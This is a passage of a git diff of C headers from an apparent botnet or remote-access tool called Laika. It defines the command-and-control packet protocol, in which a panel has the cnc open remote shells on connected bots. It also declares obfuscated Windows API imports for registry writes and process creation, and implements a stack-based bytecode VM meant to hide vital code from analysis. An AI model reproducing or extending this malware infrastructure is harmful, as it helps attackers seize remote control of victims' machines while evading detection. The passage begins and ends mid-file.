typedef void(WINAPI *_ClosePseudoConsole)(HPCON);
typedef BOOL(WINAPI *_CreateProcessA)(LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION);
typedef LSTATUS(WINAPI *_RegOpenKeyExA)(HKEY, LPCSTR, DWORD, REGSAM, PHKEY);
typedef LSTATUS(WINAPI *_RegCloseKey)(HKEY);
typedef LSTATUS(WINAPI *_RegSetValueExA)(HKEY, LPCSTR, DWORD, DWORD, const BYTE *, DWORD);
typedef LSTATUS(WINAPI *_RegQueryValueExA)(HKEY, LPCSTR, LPDWORD, LPDWORD, LPBYTE, LPDWORD);
extern _ShellExecuteA oShellExecuteA;
extern _CreatePseudoConsole oCreatePseudoConsole;
extern _ClosePseudoConsole oClosePseudoConsole;
extern _CreateProcessA oCreateProcessA;
extern _RegOpenKeyExA oRegOpenKeyExA;
extern _RegCloseKey oRegCloseKey;
extern _RegSetValueExA oRegSetValueExA;
extern _RegQueryValueExA oRegQueryValueExA;
#else
/* disabling obfuscation by macro magic :O */
#define oShellExecuteA ShellExecuteA
#define oCreatePseudoConsole CreatePseudoConsole
#define oClosePseudoConsole ClosePseudoConsole
#define oCreateProcessA CreateProcessA
#define oRegOpenKeyExA RegOpenKeyExA
#define oRegCloseKey RegCloseKey
#define oRegSetValueExA RegSetValueExA
#define oRegQueryValueExA RegQueryValueExA
#endif
#endif
void laikaO_init();
#endif

View File

@@ -1,127 +0,0 @@
#ifndef LAIKA_PACKET_H
#define LAIKA_PACKET_H
#include <inttypes.h>
#define LAIKA_MAGIC "LAI\x12"
#define LAIKA_MAGICLEN 4
#define LAIKA_MAX_PKTSIZE 4096
#define LAIKA_HOSTNAME_LEN 64
#define LAIKA_IPV4_LEN 22
#define LAIKA_INET_LEN 22
#define LAIKA_SHELL_DATA_MAX_LENGTH 2048
#define LAIKA_MAX_SHELLS 16
/* first handshake between peer & cnc works as so:
- peer connects to cnc and sends a LAIKAPKT_HANDSHAKE_REQ with the peer's pubkey, hostname & inet ip
- after cnc receives LAIKAPKT_HANDSHAKE_REQ, all packets are encrypted
- cnc responds with LAIKAPKT_HANDSHAKE_RES
- if peer is an authenticated client (panel), LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ is then sent
*/
/* encrypted packets are laid out like so: (any packet sent/received where peer->useSecure is true)
LAIKAPKT_ID pktID; -- plain text
uint8_t nonce[crypto_secretbox_NONCEBYTES]; -- plain text
uint8_t body[pktSize + crypto_secretbox_MACBYTES]; -- encrypted with shared key & nonce
*/
/*
any packet ending with *_RES is cnc 2 peer
any packet ending with *_REQ is peer 2 cnc
if packet doesn't have either, it can be sent & received by both peer & cnc
*/
enum {
/* ==================================================[[ Peer ]]================================================== */
LAIKAPKT_VARPKT,
/* layout of LAIKAPKT_VARPKT:
* LAIKAPKT_SIZE pktSize;
* LAIKAPKT_ID pktID;
*/
LAIKAPKT_HANDSHAKE_REQ, /* first packet sent by peer & received by cnc */
/* layout of LAIKAPKT_HANDSHAKE_REQ: *NOTE* ALL DATA IN THIS PACKET IS SENT IN PLAINTEXT!!
* uint8_t laikaMagic[LAIKA_MAGICLEN]; -- LAIKA_MAGIC
* uint8_t majorVer;
* uint8_t minorVer;
* uint8_t osType;
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- freshly generated pubKey to encrypt decrypted nonce with
* char hostname[LAIKA_HOSTNAME_LEN]; -- can be empty (ie. all NULL bytes)
* char inet[LAIKA_INET_LEN]; -- can be empty (ie. all NULL bytes)
*/
LAIKAPKT_HANDSHAKE_RES,
/* layout of LAIKAPKT_HANDSHAKE_RES:
* uint8_t cncEndian;
*/
LAIKAPKT_PINGPONG,
/* layout of LAIKAPKT_PINGPONG:
* NULL (empty packet)
*/
LAIKAPKT_SHELL_OPEN, /* if sent to bot, opens a shell. if sent to cnc, signifies you opened a shell */
/* layout of LAIKAPKT_SHELL_OPEN:
* uint32_t id; // this field is absent from the panel/auth client
* uint16_t cols;
* uint16_t rows;
*/
LAIKAPKT_SHELL_CLOSE, /* if sent to bot, closes a shell. if sent to cnc, signifies a shell was closed */
/* layout of LAIKAPKT_SHELL_CLOSE:
* uint32_t id; // this field is absent from the panel/auth client
*/
LAIKAPKT_SHELL_DATA, /* if sent to bot, writes data to stdin of shell. if sent to cnc, writes to 'stdout' of shell */
/* layout of LAIKAPKT_SHELL_DATA
* uint32_t id; // this field is absent from the panel/auth client
* char buf[VAR_PACKET_LENGTH-sizeof(uint32_t)];
*/
LAIKAPKT_CONTENT_NEW,
/* layout of LAIKAPKT_CONTENT_NEW:
* uint16_t id;
* uint32_t sz;
* uint8_t type;
*/
LAIKAPKT_CONTENT_ERROR,
/* layout of LAIKAPKT_CONTENT_ERROR:
* uint16_t id;
* uint8_t errCode;
*/
LAIKAPKT_CONTENT_CHUNK, /* variadic */
/* layout of LAIKAPKT_CONTENT_CHUNK:
* uint16_t id;
* uint8_t buf[VAR_PACKET_LENGTH-sizeof(uint16_t)];
*/
/* ==================================================[[ Auth ]]================================================== */
LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ, /* second packet sent by authenticated peers (panel). there is no response packet */
/* layout of LAIKAPKT_STAGE2_HANDSHAKE_REQ
* uint8_t peerType;
*/
LAIKAPKT_AUTHENTICATED_ADD_PEER_RES, /* notification that a peer has connected to the cnc */
/* layout of LAIKAPKT_AUTHENTICATED_ADD_PEER_RES
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
* char hostname[LAIKA_HOSTNAME_LEN];
* char inet[LAIKA_INET_LEN];
* char ipv4[LAIKA_IPV4_LEN];
* uint8_t peerType;
* uint8_t osType;
*/
LAIKAPKT_AUTHENTICATED_RMV_PEER_RES, /* notification that a peer has disconnected from the cnc */
/* layout of LAIKAPKT_AUTHENTICATED_RMV_PEER_RES
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
* uint8_t peerType;
*/
LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ, /* panel requesting cnc open a shell on bot. there is no response packet, shell is assumed to be open */
/* layout of LAIKAPKT_AUTHENTICATE_OPEN_SHELL_REQ
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
* uint16_t cols;
* uint16_t rows;
*/
LAIKAPKT_MAXNONE
};
typedef uint8_t LAIKAPKT_ID;
typedef uint16_t LAIKAPKT_SIZE;
#ifdef DEBUG
const char* laikaD_getPacketName(LAIKAPKT_ID);
#endif
#endif

View File

@@ -1,74 +0,0 @@
#ifndef LAIKA_PEER_H
#define LAIKA_PEER_H
#include "laika.h"
#include "lsocket.h"
#include "lpacket.h"
#include "lpolllist.h"
#include "lsodium.h"
#include "lcontent.h"
typedef enum {
PEER_UNKNWN,
PEER_BOT,
PEER_CNC, /* cnc 2 cnc communication */
PEER_AUTH /* authorized peers can send commands to cnc */
} PEERTYPE;
typedef enum {
OS_UNKNWN,
OS_WIN,
OS_LIN
} OSTYPE;
#ifdef _WIN32
# define LAIKA_OSTYPE OS_WIN
#else
# ifdef __linux__
# define LAIKA_OSTYPE OS_LIN
# else
# define LAIKA_OSTYPE OS_UNKNWN
# endif
#endif
typedef void (*PeerPktHandler)(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
struct sLaika_peerPacketInfo {
PeerPktHandler handler;
LAIKAPKT_SIZE size;
bool variadic;
};
#define LAIKA_CREATE_PACKET_INFO(ID, HANDLER, SIZE, ISVARIADIC) [ID] = {.handler = HANDLER, .size = SIZE, .variadic = ISVARIADIC}
struct sLaika_peer {
struct sLaika_socket sock; /* DO NOT MOVE THIS. this member HAS TO BE FIRST so that typecasting sLaika_peer* to sLaika_sock* works as intended */
struct sLaika_contentContext context;
uint8_t peerPub[crypto_kx_PUBLICKEYBYTES]; /* connected peer's public key */
uint8_t inKey[crypto_kx_SESSIONKEYBYTES], outKey[crypto_kx_SESSIONKEYBYTES];
char hostname[LAIKA_HOSTNAME_LEN], inet[LAIKA_INET_LEN], ipv4[LAIKA_IPV4_LEN];
struct sLaika_pollList *pList; /* pollList we're activeList in */
struct sLaika_peerPacketInfo *packetTbl; /* const table to pull pkt data from */
void *uData; /* data to be passed to pktHandler */
LAIKAPKT_SIZE pktSize; /* current pkt size */
LAIKAPKT_ID pktID; /* current pkt ID */
PEERTYPE type;
OSTYPE osType;
int outStart; /* index of pktID for out packet */
int inStart; /* index of pktID for in packet */
bool useSecure; /* if true, peer will transmit/receive encrypted data using inKey & outKey */
};
struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *packetTbl, struct sLaika_pollList *pList, pollFailEvent onPollFail, void *onPollFailUData, void *uData);
void laikaS_freePeer(struct sLaika_peer *peer);
void laikaS_setSecure(struct sLaika_peer *peer, bool flag);
void laikaS_emptyOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id); /* for sending packets with no body */
void laikaS_startOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id);
int laikaS_endOutPacket(struct sLaika_peer *peer);
void laikaS_startVarPacket(struct sLaika_peer *peer, LAIKAPKT_ID id);
int laikaS_endVarPacket(struct sLaika_peer *peer);
bool laikaS_handlePeerIn(struct sLaika_socket *sock);
bool laikaS_handlePeerOut(struct sLaika_socket *sock);
#endif

View File

@@ -1,112 +0,0 @@
#ifndef LAIKA_SOCKET_H
#define LAIKA_SOCKET_H
/* socket/winsock headers */
#ifdef _WIN32
/* windows */
# ifndef NOMINMAX
# define NOMINMAX
# endif
# define _WINSOCK_DEPRECATED_NO_WARNINGS
# include <winsock2.h>
# include <windows.h>
# include <ws2tcpip.h>
# pragma comment(lib, "Ws2_32.lib")
typedef char buffer_t;
# define PollFD WSAPOLLFD
# define poll WSAPoll
# define LN_ERRNO WSAGetLastError()
# define LN_EWOULD WSAEWOULDBLOCK
# define LN_MSG_NOSIGNAL 0
# define SOCKETINVALID(x) (x == INVALID_SOCKET)
# define SOCKETERROR(x) (x == SOCKET_ERROR)
#else
/* posix platform */
# include <sys/types.h>
# include <sys/socket.h>
# include <netdb.h>
# include <netinet/in.h>
# include <arpa/inet.h>
# include <poll.h>
# ifdef __linux__
# include <sys/epoll.h>
/* max events for epoll() */
# define MAX_EPOLL_EVENTS 128
# define LAIKA_USE_EPOLL
# endif
# include <unistd.h>
# include <errno.h>
typedef int SOCKET;
typedef void buffer_t;
# define PollFD struct pollfd
# define LN_ERRNO errno
# define LN_EWOULD EWOULDBLOCK
# define LN_MSG_NOSIGNAL MSG_NOSIGNAL
# define INVALID_SOCKET -1
# define SOCKETINVALID(x) (x < 0)
# define SOCKETERROR(x) (x == -1)
#endif
#include <fcntl.h>
#include <stdbool.h>
#include "laika.h"
#include "lsodium.h"
typedef enum {
RAWSOCK_OK,
RAWSOCK_ERROR,
RAWSOCK_CLOSED,
RAWSOCK_POLL
} RAWSOCKCODE;
typedef bool (*pollEvent)(struct sLaika_socket *sock);
typedef void (*pollFailEvent)(struct sLaika_socket *sock, void *uData);
struct sLaika_socket {
SOCKET sock; /* raw socket fd */
pollFailEvent onPollFail;
pollEvent onPollIn;
pollEvent onPollOut;
void *uData; /* passed to onPollFail */
uint8_t *outBuf; /* raw data to be sent() */
uint8_t *inBuf; /* raw data we recv()'d */
int outCount;
int inCount;
int outCap;
int inCap;
bool flipEndian;
bool setPollOut; /* is EPOLLOUT/POLLOUT is set on sock's pollfd ? */
};
#define laikaS_isAlive(arg) (arg->sock != INVALID_SOCKET)
bool laikaS_isBigEndian(void);
void laikaS_init(void);
void laikaS_cleanUp(void);
void laikaS_initSocket(struct sLaika_socket *sock, pollEvent onPollIn, pollEvent onPollOut, pollFailEvent onPollFail, void *uData);
void laikaS_cleanSocket(struct sLaika_socket *sock);
void laikaS_kill(struct sLaika_socket *sock); /* kills a socket */
void laikaS_connect(struct sLaika_socket *sock, char *ip, char *port); /* connect to ip & port */
void laikaS_bind(struct sLaika_socket *sock, uint16_t port); /* bind sock to port */
void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from, char *ipv4);
bool laikaS_setNonBlock(struct sLaika_socket *sock);
void laikaS_consumeRead(struct sLaika_socket *sock, size_t sz); /* throws sz bytes away from the inBuf */
void laikaS_zeroWrite(struct sLaika_socket *sock, size_t sz); /* writes sz NULL bytes to the outBuf */
void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz); /* reads from inBuf */
void laikaS_write(struct sLaika_socket *sock, void *buf, size_t sz); /* writes to outBuf */
void laikaS_writeKeyEncrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub); /* encrypts & writes from buf using pub key */
void laikaS_readKeyDecrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub, uint8_t *priv); /* decrypts & reads to buf using pub & priv key*/
void laikaS_writeByte(struct sLaika_socket *sock, uint8_t data);
uint8_t laikaS_readByte(struct sLaika_socket *sock);
void laikaS_readInt(struct sLaika_socket *sock, void *buf, size_t sz); /* reads INT, respecting endianness */
void laikaS_writeInt(struct sLaika_socket *sock, void *buf, size_t sz); /* writes INT, respecting endianness */
RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed);
RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed);
#endif

View File

@@ -1,155 +0,0 @@
#ifndef LAIKA_VM_H
#define LAIKA_VM_H
/* Laika VM:
This is an obfuscation technique where vital code can be executed in a
stack-based VM, inlined into the function. The VM instruction-set is fairly
simple, see the OP_* enum for avaliable opcodes and their expected arguments.
The VM is turing-complete, however the instruction-set has been curated to
fit this specific use case.
*/
#include <inttypes.h>
#include "laika.h"
#include "lerror.h"
#define LAIKA_VM_STACKSIZE 64
#define LAIKA_VM_CONSTSIZE 32
struct sLaikaV_vm_val {
union {
uint8_t i;
uint8_t *ptr;
};
};
struct sLaikaV_vm {
struct sLaikaV_vm_val stack[LAIKA_VM_STACKSIZE];
struct sLaikaV_vm_val constList[LAIKA_VM_CONSTSIZE];
uint8_t code[LAIKA_VM_CODESIZE];
int pc;
};
#define LAIKA_MAKE_VM(_consts, _code) {.constList = _consts, .code = _code, .pc = 0, .stack = {0}}
/* constants */
#define LAIKA_MAKE_VM_INT(_i) {.i = _i}
#define LAIKA_MAKE_VM_PTR(_ptr) {.ptr = _ptr}
/* instructions */
#define LAIKA_MAKE_VM_IA(opcode, a) opcode, a
#define LAIKA_MAKE_VM_IAB(opcode, a, b) opcode, a, b
#define LAIKA_MAKE_VM_IABC(opcode, a, b, c) opcode, a, b, c
enum {
OP_EXIT,
OP_LOADCONST, /* stk_indx[uint8_t] = const_indx[uint8_t] */
OP_PUSHLIT, /* stk_indx[uint8_t].i = uint8_t */
OP_READ, /* stk_indx[uint8_t].i = *(int8_t*)stk_indx[uint8_t] */
OP_WRITE, /* *(uint8_t*)stk_indx[uint8_t].ptr = stk_indx[uint8_t].i */
OP_INCPTR, /* stk_indx[uint8_t].ptr++ */
OP_DECPTR, /* stk_indx[uint8_t].ptr-- */
/* arithmetic */
OP_ADD, /* stk_indx[uint8_t] = stk_indx[uint8_t] + stk_indx[uint8_t] */
OP_SUB, /* stk_indx[uint8_t] = stk_indx[uint8_t] - stk_indx[uint8_t] */
OP_MUL, /* stk_indx[uint8_t] = stk_indx[uint8_t] * stk_indx[uint8_t] */
OP_DIV, /* stk_indx[uint8_t] = stk_indx[uint8_t] / stk_indx[uint8_t] */
OP_AND, /* stk_indx[uint8_t] = stk_indx[uint8_t] & stk_indx[uint8_t] */
OP_OR, /* stk_indx[uint8_t] = stk_indx[uint8_t] | stk_indx[uint8_t] */
OP_XOR, /* stk_indx[uint8_t] = stk_indx[uint8_t] ^ stk_indx[uint8_t] */
/* control-flow */
OP_TESTJMP, /* if stk_indx[uint8_t] != 0, pc += [int8_t] */
/* misc. */
#ifdef DEBUG
OP_DEBUG
#endif
};
LAIKA_FORCEINLINE void laikaV_execute(struct sLaikaV_vm *vm) {
#define READBYTE (vm->code[vm->pc++])
#define BINOP(x) { \
uint8_t a = READBYTE; \
uint8_t b = READBYTE; \
uint8_t c = READBYTE; \
vm->stack[a].i = vm->stack[b].i x vm->stack[c].i; \
break; \
}
while (vm->code[vm->pc]) {
switch (vm->code[vm->pc++]) {
case OP_LOADCONST: {
uint8_t indx = READBYTE;
uint8_t constIndx = READBYTE;
vm->stack[indx] = vm->constList[constIndx];
break;
}
case OP_PUSHLIT: {
uint8_t indx = READBYTE;
uint8_t lit = READBYTE;
vm->stack[indx].i = lit;
break;
}
case OP_READ: {
uint8_t indx = READBYTE;
uint8_t ptr = READBYTE;
vm->stack[indx].i = *vm->stack[ptr].ptr;
break;
}
case OP_WRITE: {
uint8_t ptr = READBYTE;
uint8_t indx = READBYTE;
*vm->stack[ptr].ptr = vm->stack[indx].i;
break;
}
case OP_INCPTR: {
uint8_t ptr = READBYTE;
vm->stack[ptr].ptr++;
break;
}
case OP_DECPTR: {
uint8_t ptr = READBYTE;
vm->stack[ptr].ptr--;
break;
}
case OP_ADD: BINOP(+);
case OP_SUB: BINOP(-);
case OP_MUL: BINOP(*);
case OP_DIV: BINOP(/);
case OP_AND: BINOP(&);
case OP_OR: BINOP(|);
case OP_XOR: BINOP(^);
case OP_TESTJMP: {
uint8_t indx = READBYTE;
int8_t jmp = READBYTE;
/* if stack indx is true, jump by jmp (signed 8-bit int) */
if (vm->stack[indx].i)
vm->pc += jmp;
break;
}
#ifdef DEBUG
case OP_DEBUG: {
int i;
/* print stack info */
for (i = 0; i < LAIKA_VM_STACKSIZE; i++)
printf("[%03d] - 0x%02x\n", i, vm->stack[i].i);
break;
}
#endif
default:
LAIKA_ERROR("laikaV_execute: unknown opcode [0x%02x]! pc: %d\n", vm->code[vm->pc], vm->pc);
}
}
#undef READBYTE
#undef BINOP
}
#endif

129
lib/include/net/lpacket.h Normal file
View File

@@ -0,0 +1,129 @@
#ifndef LAIKA_PACKET_H
#define LAIKA_PACKET_H
#include "lconfig.h"
#include <inttypes.h>
#define LAIKA_MAGIC "LAI\x12"
#define LAIKA_MAGICLEN 4
#define LAIKA_MAX_PKTSIZE 4096
#define LAIKA_HOSTNAME_LEN 64
#define LAIKA_IPSTR_LEN 64
#define LAIKA_INET_LEN 22
#define LAIKA_SHELL_DATA_MAX_LENGTH 2048
#define LAIKA_MAX_SHELLS 16
#define LAIKA_HANDSHAKE_SALT_LEN 32
#define LAIKA_PING_INTERVAL 5000
/*
first handshake between peer & cnc works as so:
- peer connects to cnc and sends a LAIKAPKT_HANDSHAKE_REQ with the peer's pubkey, hostname &
inet ip
- after cnc receives LAIKAPKT_HANDSHAKE_REQ, all packets are encrypted
- cnc responds with LAIKAPKT_HANDSHAKE_RES
- if peer is an authenticated client (panel), LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ is then
sent
encrypted packets are laid out like so: (any packet sent/received where peer->useSecure is true)
{
LAIKAPKT_ID pktID; -- plain text
uint8_t nonce[crypto_secretbox_NONCEBYTES]; -- plain text
uint8_t body[pktSize + crypto_secretbox_MACBYTES]; -- encrypted with shared key & nonce
}
any packet ending with *_RES is cnc 2 peer
any packet ending with *_REQ is peer 2 cnc
if packet doesn't have either, it can be sent & received by both peer & cnc
*/
enum
{
/* =======================================[[ Peer ]]======================================== */
LAIKAPKT_VARPKT,
/* layout of LAIKAPKT_VARPKT:
* LAIKAPKT_SIZE pktSize;
* LAIKAPKT_ID pktID;
*/
LAIKAPKT_HANDSHAKE_REQ,
/* first packet sent by peer & received by cnc */
/* layout of LAIKAPKT_HANDSHAKE_REQ: *NOTE* ALL DATA IN THIS PACKET IS SENT IN PLAINTEXT!!
* uint8_t laikaMagic[LAIKA_MAGICLEN]; -- LAIKA_MAGIC
* uint8_t majorVer;
* uint8_t minorVer;
* uint8_t osType;
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- peer's public cryptographic key
* char hostname[LAIKA_HOSTNAME_LEN]; -- can be empty (ie. all NULL bytes)
* char inet[LAIKA_INET_LEN]; -- can be empty (ie. all NULL bytes)
*/
LAIKAPKT_HANDSHAKE_RES,
/* layout of LAIKAPKT_HANDSHAKE_RES:
* uint8_t cncEndian;
* uint8_t cncSalt[LAIKA_HANDSHAKE_SALT_LEN];
*/
LAIKAPKT_PEER_LOGIN_REQ,
/* second packet sent by peer & received by cnc there is no response packet. the socket
connection will be closed if an unexpected peer type is provided. this is to prove that the peer
is the public key they say they are. */
/* layout of LAIKAPKT_PEER_LOGIN_REQ
* uint8_t peerType;
* uint8_t cncSalt[LAIKA_HANDSHAKE_SALT_LEN];
*/
LAIKAPKT_PINGPONG,
/* layout of LAIKAPKT_PINGPONG:
* NULL (empty packet)
*/
LAIKAPKT_SHELL_OPEN,
/* layout of LAIKAPKT_SHELL_OPEN:
* uint32_t id;
* uint16_t cols;
* uint16_t rows;
*/
LAIKAPKT_SHELL_CLOSE,
/* layout of LAIKAPKT_SHELL_CLOSE:
* uint32_t id;
*/
LAIKAPKT_SHELL_DATA,
/* layout of LAIKAPKT_SHELL_DATA
* uint32_t id;
* char buf[VAR_PACKET_LENGTH-sizeof(uint32_t)];
*/
/* =======================================[[ Auth ]]======================================== */
LAIKAPKT_AUTHENTICATED_ADD_PEER_RES,
/* notification that a peer has connected to the cnc */
/* layout of LAIKAPKT_AUTHENTICATED_ADD_PEER_RES
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
* char hostname[LAIKA_HOSTNAME_LEN];
* char inet[LAIKA_INET_LEN];
* char ipStr[LAIKA_IPSTR_LEN];
* uint8_t peerType;
* uint8_t osType;
*/
LAIKAPKT_AUTHENTICATED_RMV_PEER_RES,
/* notification that a peer has disconnected from the cnc */
/* layout of LAIKAPKT_AUTHENTICATED_RMV_PEER_RES
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
* uint8_t peerType;
*/
LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ,
/* panel requesting cnc open a shell on bot. there is no response packet, shell is assumed to be
* open */
/* layout of LAIKAPKT_AUTHENTICATE_OPEN_SHELL_REQ
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
* uint16_t cols;
* uint16_t rows;
*/
LAIKAPKT_MAXNONE
};
typedef uint8_t LAIKAPKT_ID;
typedef uint16_t LAIKAPKT_SIZE;
#ifdef LAIKA_DEBUG_BUILD
const char *laikaD_getPacketName(LAIKAPKT_ID);
#endif
#endif

85
lib/include/net/lpeer.h Normal file
View File

@@ -0,0 +1,85 @@
#ifndef LAIKA_PEER_H
#define LAIKA_PEER_H
#include "core/lsodium.h"
#include "laika.h"
#include "net/lpacket.h"
#include "net/lpolllist.h"
#include "net/lsocket.h"
typedef enum
{
PEER_PEER, /* unlogged-in peer */
PEER_BOT,
PEER_CNC, /* cnc 2 cnc communication (unused) */
PEER_AUTH /* authorized peers can send commands to cnc */
} PEERTYPE;
typedef enum
{
OS_UNKNWN,
OS_WIN,
OS_LIN
} OSTYPE;
#ifdef _WIN32
# define LAIKA_OSTYPE OS_WIN
#else
# ifdef __linux__
# define LAIKA_OSTYPE OS_LIN
# else
# define LAIKA_OSTYPE OS_UNKNWN
# endif
#endif
typedef void (*PeerPktHandler)(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
struct sLaika_peerPacketInfo
{
PeerPktHandler handler;
LAIKAPKT_SIZE size;
bool variadic;
};
#define LAIKA_CREATE_PACKET_INFO(ID, HANDLER, SIZE, ISVARIADIC) \
[ID] = {.handler = HANDLER, .size = SIZE, .variadic = ISVARIADIC}
struct sLaika_peer
{
struct sLaika_socket sock; /* DO NOT MOVE THIS. this member HAS TO BE FIRST so that typecasting
sLaika_peer* to sLaika_sock* works as intended */
uint8_t peerPub[crypto_kx_PUBLICKEYBYTES]; /* connected peer's public key */
uint8_t inKey[crypto_kx_SESSIONKEYBYTES], outKey[crypto_kx_SESSIONKEYBYTES];
char hostname[LAIKA_HOSTNAME_LEN], inet[LAIKA_INET_LEN], ipStr[LAIKA_IPSTR_LEN];
uint8_t salt[LAIKA_HANDSHAKE_SALT_LEN]; /* salt passed from the cnc's handshake response */
struct sLaika_pollList *pList; /* pollList we're activeList in */
struct sLaika_peerPacketInfo *packetTbl; /* const table to pull pkt data from */
void *uData; /* data to be passed to pktHandler */
LAIKAPKT_SIZE pktSize; /* current pkt size */
LAIKAPKT_ID pktID; /* current pkt ID */
PEERTYPE type;
OSTYPE osType;
int outStart; /* index of pktID for out packet */
int inStart; /* index of pktID for in packet */
bool useSecure; /* if true, peer will transmit/receive encrypted data using inKey & outKey */
};
struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *packetTbl,
struct sLaika_pollList *pList, pollFailEvent onPollFail,
void *onPollFailUData, void *uData);
void laikaS_freePeer(struct sLaika_peer *peer);
void laikaS_setSalt(struct sLaika_peer *peer, uint8_t *salt);
void laikaS_genSalt(struct sLaika_peer *peer);
void laikaS_setSecure(struct sLaika_peer *peer, bool flag);
void laikaS_emptyOutPacket(struct sLaika_peer *peer,
LAIKAPKT_ID id); /* for sending packets with no body */
void laikaS_startOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id);
int laikaS_endOutPacket(struct sLaika_peer *peer);
void laikaS_startVarPacket(struct sLaika_peer *peer, LAIKAPKT_ID id);
int laikaS_endVarPacket(struct sLaika_peer *peer);
bool laikaS_handlePeerIn(struct sLaika_socket *sock);
bool laikaS_handlePeerOut(struct sLaika_socket *sock);
#endif

View File

@@ -1,39 +1,37 @@
#ifndef LAIKA_POLLLIST_H
#define LAIKA_POLLLIST_H
#include <stdbool.h>
#include "core/hashmap.h"
#include "core/lmem.h"
#include "laika.h"
#include "lsocket.h"
#include "hashmap.h"
#include "net/lsocket.h"
#include <stdbool.h>
/* number of pollFDs or epollFDs we expect to start with */
#define POLLSTARTCAP 8
struct sLaika_pollEvent {
struct sLaika_pollEvent
{
struct sLaika_socket *sock;
bool pollIn;
bool pollOut;
};
struct sLaika_pollList {
struct sLaika_pollList
{
struct hashmap *sockets;
struct sLaika_socket **outQueue; /* holds sockets which have data needed to be sent */
struct sLaika_pollEvent *revents;
/* holds sockets which have data needed to be sent */
laikaM_newVector(struct sLaika_socket *, outQueue);
laikaM_newVector(struct sLaika_pollEvent, revents);
#ifdef LAIKA_USE_EPOLL
/* epoll */
struct epoll_event ev, ep_events[MAX_EPOLL_EVENTS];
SOCKET epollfd;
#else
/* raw poll descriptor */
PollFD *fds;
int fdCapacity;
int fdCount;
laikaM_newVector(PollFD, fds);
#endif
int reventCap;
int reventCount;
int outCap;
int outCount;
};
void laikaP_initPList(struct sLaika_pollList *pList);

123
lib/include/net/lsocket.h Normal file
View File

@@ -0,0 +1,123 @@
#ifndef LAIKA_SOCKET_H
#define LAIKA_SOCKET_H
/* clang-format will change the order of the included windows headers, this BREAKS THINGS.
for now, make clang ignore this section */
/* clang-format off */
/* socket/winsock headers */
#ifdef _WIN32
/* windows */
# ifndef NOMINMAX
# define NOMINMAX
# endif
# define _WINSOCK_DEPRECATED_NO_WARNINGS
# include <winsock2.h>
# include <windows.h>
# include <ws2tcpip.h>
# pragma comment(lib, "Ws2_32.lib")
typedef char buffer_t;
# define PollFD WSAPOLLFD
# define poll WSAPoll
# define LN_ERRNO WSAGetLastError()
# define LN_EWOULD WSAEWOULDBLOCK
# define LN_MSG_NOSIGNAL 0
# define SOCKETINVALID(x) (x == INVALID_SOCKET)
# define SOCKETERROR(x) (x == SOCKET_ERROR)
#else
/* posix platform */
# include <arpa/inet.h>
# include <netdb.h>
# include <netinet/in.h>
# include <poll.h>
# include <sys/socket.h>
# include <sys/types.h>
# ifdef __linux__
# include <sys/epoll.h>
/* max events for epoll() */
# define MAX_EPOLL_EVENTS 128
# define LAIKA_USE_EPOLL
# endif
# include <errno.h>
# include <unistd.h>
typedef int SOCKET;
typedef void buffer_t;
# define PollFD struct pollfd
# define LN_ERRNO errno
# define LN_EWOULD EWOULDBLOCK
# define LN_MSG_NOSIGNAL MSG_NOSIGNAL
# define INVALID_SOCKET -1
# define SOCKETINVALID(x) (x < 0)
# define SOCKETERROR(x) (x == -1)
#endif
#include "laika.h"
#include "core/lsodium.h"
#include "core/lmem.h"
#include <fcntl.h>
#include <stdbool.h>
/* clang-format on */
typedef enum
{
RAWSOCK_OK,
RAWSOCK_ERROR,
RAWSOCK_CLOSED,
RAWSOCK_POLL
} RAWSOCKCODE;
typedef bool (*pollEvent)(struct sLaika_socket *sock);
typedef void (*pollFailEvent)(struct sLaika_socket *sock, void *uData);
struct sLaika_socket
{
SOCKET sock; /* raw socket fd */
pollFailEvent onPollFail;
pollEvent onPollIn;
pollEvent onPollOut;
void *uData; /* passed to onPollFail */
laikaM_newVector(uint8_t, outBuf); /* raw data to be sent() */
laikaM_newVector(uint8_t, inBuf); /* raw data we recv()'d */
bool flipEndian;
bool setPollOut; /* is EPOLLOUT/POLLOUT is set on sock's pollfd ? */
};
#define laikaS_isAlive(arg) (arg->sock != INVALID_SOCKET)
void laikaS_init(void);
void laikaS_cleanUp(void);
void laikaS_initSocket(struct sLaika_socket *sock, pollEvent onPollIn, pollEvent onPollOut,
pollFailEvent onPollFail, void *uData);
void laikaS_cleanSocket(struct sLaika_socket *sock);
void laikaS_kill(struct sLaika_socket *sock); /* kills a socket */
void laikaS_connect(struct sLaika_socket *sock, char *ip, char *port); /* connect to ip & port */
void laikaS_bind(struct sLaika_socket *sock, uint16_t port); /* bind sock to port */
void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from, char *ipStr);
